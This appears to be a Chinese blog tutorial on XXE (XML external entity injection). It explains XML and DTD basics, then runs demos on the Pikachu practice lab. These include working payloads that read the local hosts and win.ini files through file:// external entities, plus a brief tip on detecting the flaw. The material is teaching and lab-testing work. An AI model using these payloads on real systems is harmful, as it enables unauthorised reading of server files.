XXE漏洞复现
目录
- XML基础
- 概念
- XML数据格式
- DTD基础
- 定义
- DTD作用
- 分类
- DTD实体
- 实体的分类
- DTD元素
- XXE漏洞
- 介绍
- 实操
- 如何探测xxe漏洞
XML基础
概念
-
什么是XML
- 是一种可扩展标记语言 (Extensible Markup Language, XML) ,标准通用标记语言的子集,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
-
特点
- 是一种标记语言
- 被设计来进行数据传输
- 可以自定义标签
- 具有层级结构
- 具有自我描述性
XML数据格式
声明
<?xml version="1.0" encoding="UTF-8" ?>元素/节点
(1)根节点: 有且只有一个根元素
(2)子节点: 可以嵌套,可以重复
(3)每个节点必须成对出现,空节点也必须成对出现
属性
(1)每个元素/节点可以有多个属性
(2)属性以键值对的方式出现:名称=“值”。属性的值添加双引号,多个属性以空格分开。
注释: <!-- 注释内容 -->
DTD基础
定义
DTD全称是The document type definition,即是文档类型定义,可定义合法的XML文档
它使用一系列合法的元素来定义文档的结构。DTD可以被成行的声明于XML
DTD作用
1.一个应用程序keyishiyongDTD来确认收到的XML数据是有效的
2.每一个XML文件可以携带一个自身格式的描述
3.不同组织的人可以使用一个通用DTD来交换数据
分类
DTD分为:内部DTD、外部DTD、共有DTD
- 内部DTD
- 存在xml文档中的

DOCTYPE:DTD声明,对note进行说明
以上
- 存在xml文档中的
<!DOCTYPE NOTE [
- ]>
都为DTD
-
外部DTD

可以看出把DTD写到了"note.dtd"中 -
共有DTD
<!DOCTYPE taglib PUBLIC "-//Sun Microsystems,Inc.//DTD JSP Tag Library 1.2//EN""http://java.sun.com/dtd/web-jsplibrary_1_2.dtd">
DTD实体
实体的概念:实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。
实体可在内部或外部进行声明。
实体的分类
分类:内部实体,外部实体、参数实体
- 内部实体:
- 外部实体:
- 参数实体
<!ENTITY % TAG_NAME "姓名|EMAIL|电话|地址">
<!ELEMENT 个人信息 (%TAG_NAME; |生日)>
<!ELEMENT 客户信息 (%TAG_NAME; |公司名)>
DTD元素
| 声明一个元素 | <!ENTITY 元素名称 类别> | <!ELEMENT 元素名称(元素内容)> |
|---|---|---|
| 空元素 | <!ENTITY 元素名称 EMPTY> | <!ELEMENT <br> EMPTY> <br/> |
| 只有PCDATA的元素 | <!ENTITY 元素名称 (#PCDATA)> | <!ELEMENT from (#PCDATA)> |
| 带任何内容的元素 | <!ENTITY 元素名称 ANY> | <!ELEMENT note ANY> |
| 带有子元素(序列)的元素 | <!ENTITY 元素名称 (子元素名称1,子元素名称2,........)> | <!ELEMENT note(to,from,heading,body)> |
XXE漏洞
介绍
- XXE -“xml external entity injection”
- “xml外部实体注入漏洞”
利用xxe漏洞可以进行拒绝服务攻击(DDos),文件读取,命令(代码)执行,SQL(XSS)注入,等
一般的xml:
第一部分:XML声明部分
<?xml version="**"?>
第二部分:文档类型定义 DTD
<!--定义此文档是note类型的文档-->
<!DOCTYPE note[
<!--外部实体声明-->
<!ENTITY entity-name SYSTEM "URI/URL">
]>
第三部分:文档元素
<note>
<to>nuc</to>
<from>grade20</from>
<head>2013040212</head>
<body>wpp</body>
</note>
实操
进入pikachu靶场
提交一个xml
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE note [ <!ENTITY hack "Edison.W"> ]> <name>&hack;</name>

外部实体引入攻击载荷使其访问host文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file:///C://Windows/System32/drivers/etc/hosts">
]>
<x>&f;</x>

再来一个,我们这次访问win.ini
<?xml version="1.0"?>
<!DOCTYPE a [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<xml>&xxe;</xml>

如何探测xxe漏洞
- 抓包,如果是xml格式的body,则发送一个<元素>数据</元素>
- 能回显,就可能存在XXE漏洞
相关文章:
XXE漏洞复现
目录XML基础概念XML数据格式DTD基础定义DTD作用分类DTD实体实体的分类DTD元素XXE漏洞介绍实操如何探测xxe漏洞XML基础 概念 什么是XML 是一种可扩展标记语言 (Extensible Markup Language, XML) ,标准通用标记语言的子集,可以用来标记数据、定义数据类型…...
初识C++需要了解的一些东西(2)
😁关注博主:翻斗花园第一代码手牛爷爷 😃Gitee仓库:牛爷爷爱写代码 目录🌍内联函数🌕内联函数概念🌖内联函数特性🌓auto关键字(C11)🌞类型别名⭐️auto简介☀️auto的使…...
全国程序员薪酬大曝光!看完我酸了····
2023年,随着互联网产业的蓬勃发展,程序员作为一个自带“高薪多金”标签的热门群体,被越来越多的人所关注。在过去充满未知的一年中,他们的职场现状发生了一定的改变。那么,程序员岗位的整体薪资水平、婚恋现状、职业方…...
改进YOLO系列 | CVPR2023最新Backbone | FasterNet 远超 ShuffleNet、MobileNet、MobileViT 等模型
论文地址:https://export.arxiv.org/pdf/2303.03667v1.pdf 为了设计快速神经网络,许多工作都集中在减少浮点运算(FLOPs)的数量上。然而,作者观察到FLOPs的这种减少不一定会带来延迟的类似程度的减少。这主要源于每秒低浮点运算(FLOPS)效率低下。并且,如此低的FLOPS主要…...
Nginx常见用法
一、Niginx是什么? Nginx是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。Niginx是一款轻量级的web服务器/反向代理器,Nginx是高性能的HTTP和 反向代理的web服务器,处理高并发的能力十分强大,…...
MySQL存储引擎和日志管理
MySQL存储引擎和日志管理一、存储引擎的概念1、Myisam的特点2、Myisam表支持 3 种不同的存储格式3、innodb4、死锁5、查看系统支持的存储引擎6、查看表使用的存储引擎7、修改存储引擎8、通过 create table 创建表时指定存储引擎二、日志管理1、错误日志2、通用查询日志3、慢查询…...
Arduino 驱动DS1307时钟模块使用介绍
Arduino 驱动DS1307时钟模块使用介绍 🔖DS1307时钟模块 📍DS1307时钟模块资料 https://pan.baidu.com/s/1mtXruLAktZj7UDhFD54BNw 提取码:d9xh 📋模块简介:DS1307 I2C实时时钟芯片(RTC) 24C32 32K I2C EEPROM存储器 解决DS1307带备用电池不能读写的问题。 充满电后,…...
为什么 Python 没有 main 函数?
众所周知,Python中没有所谓的main函数,但是网上经常有文章提到“ Python的main函数”和“建议编写main函数”。 其实,可能他们是想模仿真正的main函数,但是许多人都被误导(或误解),然后编写了非…...
【无标题】使用Bibtex4word 整理毕业论文参考文献
Bibtex4Word使用一览需要安装和配置的软件texLiveBibtex4word需要安装和配置的软件 texLive 这个就不多说啦,大家自己找教程安装吧,因为我之前装过这一系列所以就不再来一遍了,但是有两条配置需要注意! 添加环境变量 key: BIB…...
19--网络API(java版)
什么是网络API在一个网站里面发起https请求是很常见的,但是,由于微信小程序是腾讯内部的产品,不能直接打开一个外部的链接,例如,您在微信小程序里面无法直接打开网站,但是,在做小程序开发的时候…...
ElasticSearch - 分片内部原理之动态更新索引、近实时搜索、持久化变更、段合并
文章目录01. ElasticSearch 倒排索引是什么?02. ElasticSearch 倒排索引为什么是不可变的?03. ElasticSearch 索引文档原理?04. ElasticSearch 如何动态更新索引?05. ElasticSearch 文档的新增、删除、更新?06. Elasti…...
模拟数据采集卡之ADCTDC 模拟时间/数字转换器组合应用选型指南
简介 产品组合包括一系列多功能时间到数字转换器(TDC)和模数转换器(ADC)。我们的许多客户的应用场景依赖于对飞行时 间(TOF)的测量。该系列产品非常适合用于质谱系统(TOF-MS),光学相干断层扫描(OCT),荧光寿命成像显微镜(FLIM), 时间相关单光子…...
R语言编程基础
文章目录安装运算符判断函数递归安装 根据自己的操作系统,下载R语言环境后,安装,并将安装路径加入到环境变量,即可从命令行进入R环境 >rR version 4.2.2 (2022-10-31 ucrt) -- "Innocent and Trusting" Copyright …...
2023-03-15:屏幕录制并且显示视频,不要用命令。代码用go语言编写。
2023-03-15:屏幕录制并且显示视频,不要用命令。代码用go语言编写。 答案2023-03-15: 使用moonfdd/ffmpeg-go和moonfdd/sdl2-go库来实现屏幕录制并显示视频,大体流程如下: 1.使用libavdevice库中的AVInputFormat&…...
STM32外设-DMA
1. 简介 DMA(Direct Memory Access)—直接存储器存取,是单片机的一个外设,它的主要功能是用来搬数据,但是不需要占用 CPU,即在传输数据的时候, CPU 可以干其他的事情,好像是多线程一样。数据传输支持从外设…...
【面试题】面试官:如果后端给你 1w 条数据,你如何做展示?
最近一位朋友参加阿b的面试,然后面试官问了她这个问题,我问她咋写的,她一脸淡定的说:“虚拟列表。”大厂面试题分享 面试题库前后端面试题库 (面试必备) 推荐:★★★★★地址:前端面…...
第十二届蓝桥杯省赛详解
试题A:空间 1B是8位,32位二进制数占用4B空间,1MB2^10KB2^20B 那么可以存放32位二进制数的个数为256*2^20*8/3267108864 试题B:卡片 分析:因为数据只有2021,所以直接模拟即可 结果为:3181&…...
ssh创建秘钥对
1. 使用ssh-keygen 生成秘钥对 [root6zix89b87qmvuv ~]# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): 按回车键或设置密钥的存储路径 Enter passphrase (empty for no passphrase): 按回车键或设置密钥的存…...
JS中sort()方法返回值?
参考 https://segmentfault.com/q/1010000043489928 精辟解释 就是说 sort() 会修改原数组项的排序,sort() 结束后会返回一个数组结果,这个结果其实就是原数组。并不是说会返回一个新的数组。 原理讲解 JS 分为栈内存和堆内存,栈内存可以…...
07从零开始学Java之如何正确的编写Java代码?
作者:孙玉昌,昵称【一一哥】,另外【壹壹哥】也是我哦CSDN博客专家、万粉博主、阿里云专家博主、掘金优质作者前言在上一篇文章中,壹哥带领大家开始编写了第一个Java案例,在我们的cmd命令窗口中输出了”Hello World“这…...
运维自动化工具 Ansible
运维自动化工具 Ansible 环境:Ubuntu 24.04 / Rocky Linux 10 目录 Ansible 概述安装与配置主机清单 Inventory常用模块详解Playbook 基础Playbook 进阶Roles 角色最佳实践与总结综合实践案例 1. Ansible 概述 开发语言:Python 架构:无代理…...
人力资源战略与业务战略对齐的重要性及正确实施方法
众所周知,人力资源战略必须与业务需求相契合。我们从 1200 多家组织收集的数据显示,人力资源领导者深知这一需求。人力资源领导者花费大量时间进行对齐、分解目标、构建计分卡以及定义相关 KPI 以展示影响力。 但问题往往出在翻译转换环节。一旦完成转换…...
【状态估计】FEKF分数阶扩展卡尔曼滤波器、FCDKF分数阶中心差分卡尔曼滤波器、FUKF分数阶无迹卡尔曼滤波器和 FPF分数阶粒子滤波器的非线性离散时间分数阶系统状态估计附matlab代码
✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…...
如何为genact假活动添加声音效果:完整指南
如何为genact假活动添加声音效果:完整指南 【免费下载链接】genact 🌀 A nonsense activity generator 项目地址: https://gitcode.com/gh_mirrors/ge/genact genact是一款有趣的假活动生成器,能够模拟各种系统操作的输出效果…...
如何快速搭建Docker安全检测环境:Docker Bench for Security与Docker Compose集成指南
如何快速搭建Docker安全检测环境:Docker Bench for Security与Docker Compose集成指南 【免费下载链接】docker-bench-security The Docker Bench for Security is a script that checks for dozens of common best-practices around deploying Docker containers i…...
PROJECT MOGFACE LaTeX写作助手:学术论文智能排版与公式校对
PROJECT MOGFACE LaTeX写作助手:学术论文智能排版与公式校对 写论文,尤其是理工科的论文,最头疼的是什么?对我来说,不是想不出创新点,而是跟LaTeX斗智斗勇。一个复杂的表格,调格式调半小时&…...
AIGlasses_for_navigation多场景落地:养老院跌倒预警+盲道导航融合方案
AIGlasses_for_navigation多场景落地:养老院跌倒预警盲道导航融合方案 1. 引言:当智能眼镜走出实验室 想象一下这个场景:一位视障朋友正走在回家的路上,他佩戴的智能眼镜通过语音轻声提醒:“前方盲道向右偏移&#x…...
从理论到实践:LRU缓存算法的核心原理与高效实现
1. 为什么需要LRU缓存算法 想象你正在整理书架,最近经常翻阅的几本书会随手放在桌面上,而那些半年都没碰过的专业书籍则被塞进了最底层的抽屉。这种整理方式背后的逻辑,就是LRU(Least Recently Used)缓存算法的核心思想…...
GD32时钟树配置实战:从理论到代码实现
1. GD32时钟树基础概念解析 第一次接触GD32的时钟配置时,我完全被那些专业术语搞懵了。什么HXTAL、PLL、AHB分频,听起来就像天书一样。但后来我发现,时钟系统其实就像城市里的交通网络,理解了基本规则后,一切都变得清晰…...
WarcraftHelper:让魔兽争霸III重获新生的现代系统优化方案
WarcraftHelper:让魔兽争霸III重获新生的现代系统优化方案 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper 魔兽争霸III作为一款经典即时战…...
